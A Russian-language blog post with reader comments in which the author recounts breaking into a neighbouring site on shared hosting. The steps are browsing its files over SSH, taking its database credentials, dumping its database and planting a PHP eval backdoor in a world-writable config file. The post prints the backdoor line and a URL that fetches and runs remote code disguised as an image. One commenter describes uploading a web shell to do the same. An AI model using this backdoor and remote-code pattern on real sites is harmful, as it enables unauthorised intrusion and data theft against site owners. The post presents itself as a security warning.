Защита сайта от взлома. Продолжение.


hack

После того, как я коснулся вопросов защиты и взлома непосредственно своими руками — так сказать изнутри процесса — решил не останавливаться на достигнутом, т.к. тема меня сильно заинтересовала.

В прошлой статье  Защита сайта от взлома я затронул только один из методов (которым сам и воспользовался) — это SQL иньекция. Сегодня решил «пощупать» с другой стороны. (кстати мои советы упомянутые в прошлой статье — ой как оказались полезными бы при защите сайта сегодняшнего поста).

Данная статья ИМХО будет интересна всем тем, кто берёт хостинг с соседями — т.е. всем кто покупает обычный хостинг на серваках,  а не сервак целеком (как с виртуальными серверами дела обстоят — не знаю).

Лично я после всех своих экспериментов выдохнул с облегчением — «как же хорошо что у меня дедик !».

На этот раз буду краток и сухо приведу сам эксперимент по взлому:

1.  На одном из своих хостингов посмотрел структуру папок /www/mysite/www/htdocs/  (я посмотрел через выдачу phpinfo() — хотя способов думаю туча, вроде даже в инициализационном письме от хостера это прописано )

2. Простым ping запросом определяю реальный IP сервака ping mysite.ru  XX.XX.XX.XX

3. На сайте 2ip.ru определяю «соседей» — сайты на определенном IP (айпишник с п.2) — оказалось 190 соседей !!!

4. Беру за цель первого же соседа — сайт site.ru  (реальные названия сайтов и всех данных я решил изменить 🙂 т.к. ломаю не с целю наживы — а с целью прочувствовать как нужно защищать)

5. Захожу ssh к себе на хостинг и конечно же ожидая облом пробую сd /www/site/www/htdocs/ — !!!! и к величайшему своему удивлению попадаю по месту назначения !

6. Далее пробегаюсь по php, inc  и подобным — сразу же вытаскиваю доступ к БД — имя, юзер, пасс. — выгружаю дампером БД к себе (просто так — на всякий случай — ещё не смотрел даже чё там).

7. Прав на создание, модификацию конечно же не имею, поэтому бегаю по всей структуре в поисках заведомых 777 или 666 с «правильным» овнером.  Толи мне так фортануло, толи действительно всё так запущено — проблем с поиском такого файла у меня не возникло. Оказался конфигурационный файл — причем подключаемый из php доступного уже с браузера.

8. ВСЁ !  дописываем в него if (isset($_REQUEST[«e»])) eval(stripslashes($_REQUEST[«e»]));  и это в принципе финальная точка

в проверяем http://site.ru/file.php?e=phpinfo();

ну и как логическое завершение
http://site.ru/file.php?e=eval(file_get_contents(‘http://бла бла бла.ru/page.jpg’));
где page.jpg конечно же не картинка 😉

морда ломаемого сайта PR 3,  ТИЦ 550 наличие в каталогах Яндекс, Рамблер, Апорт, Дмоз, более 1к страниц в Гугле, более 5к страниц в Яше

и чё с тобой делать то ? ….

мля — даже страшно такие сайты ломать … 😉

Вот сижу и думаю — ваяешь, продвигаешь, развиваешь — в общем въёбываешь по полной чтоб таких показателей добиться — а тут хуякс и готово. И остаётся только надеяться на порядочность хакера и на своевременность бэкапов.

Почти как в рекламе получилось «Вы достаточно защитили свой сайт ? Вы сделали полный бэкап файлов и БД ? нет ?! тогда я иду к Вам!» 🙂

И ещё не добро так рифмуется «В нашем серве поселился замечательный сосед«.

Статья как Вы надеюсь поняли сделана не для взлома, а исключительно чтобы Вы поняли от чего и как нужно защищаться.

Возможно будет ещё статейка в продолжение, т.к. например не раскрыта тема каким образом упускаются пароли от FTP (сам на пробу с год назад покупал доступ от взломанного сайта — тогда мне  был предоставлен FTP доступ).

На сей раз всё описанное в статье придумал и реализовал сам, так что «полезных» ссылок в данном материале не будет.

P.S.

Я всё так же предлагаю свои услуги по аудиту информационной безопасности Вашего сайта.


19 комментариев на «“Защита сайта от взлома. Продолжение.”»

  1. Давайте без деталей — говорю же, не для взлома статья написана. А для того, чтобы задуматься о защите ИМХО достаточно предоставленного материала.

  2. несомненно очень Важное замечание ! (забыл я это важнейший момент написать)

    Сайт в этом примере на самописном движке, так что конкретных современных CMS думаю могут немного расслабиться — таких дыр там быть не должно.
    (особенно платные NetCat, Bitrix, и т.д.)

  3. Уфф — можно выдохнуть, оказалось не всё так плохо на хостингах — сам вебмастер сайта просто оплошность совершил и выставил права g+r o+r папки htdocs.
    Попытки таким же макаром прочесть другие сайты не принесли успеха.

  4. Мдя. Всегда, считал, что лучшая защита для сайтов — длинные пароли. А вот, что оказываеться можно с помощью пхп творить. Статейка очень понравилась.

  5. Не все дешевые тарифы дают ssh, так что я делаю немного по-другому) заливаю к себе шелл, и продолжаю также как написано в посте)

  6. Хорошо что я часто делаю резервную копию сайта, а резервную копию базы данных, чуть ли не каждый день качаю.
    Автору спасибо за статью, надо дыры поискать в движке.

  7. Беками разве что пробовать защищаться, а то опасно это все довольно таки очень. Ну или сильно свой сайт не святить, тогда все норм будет.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *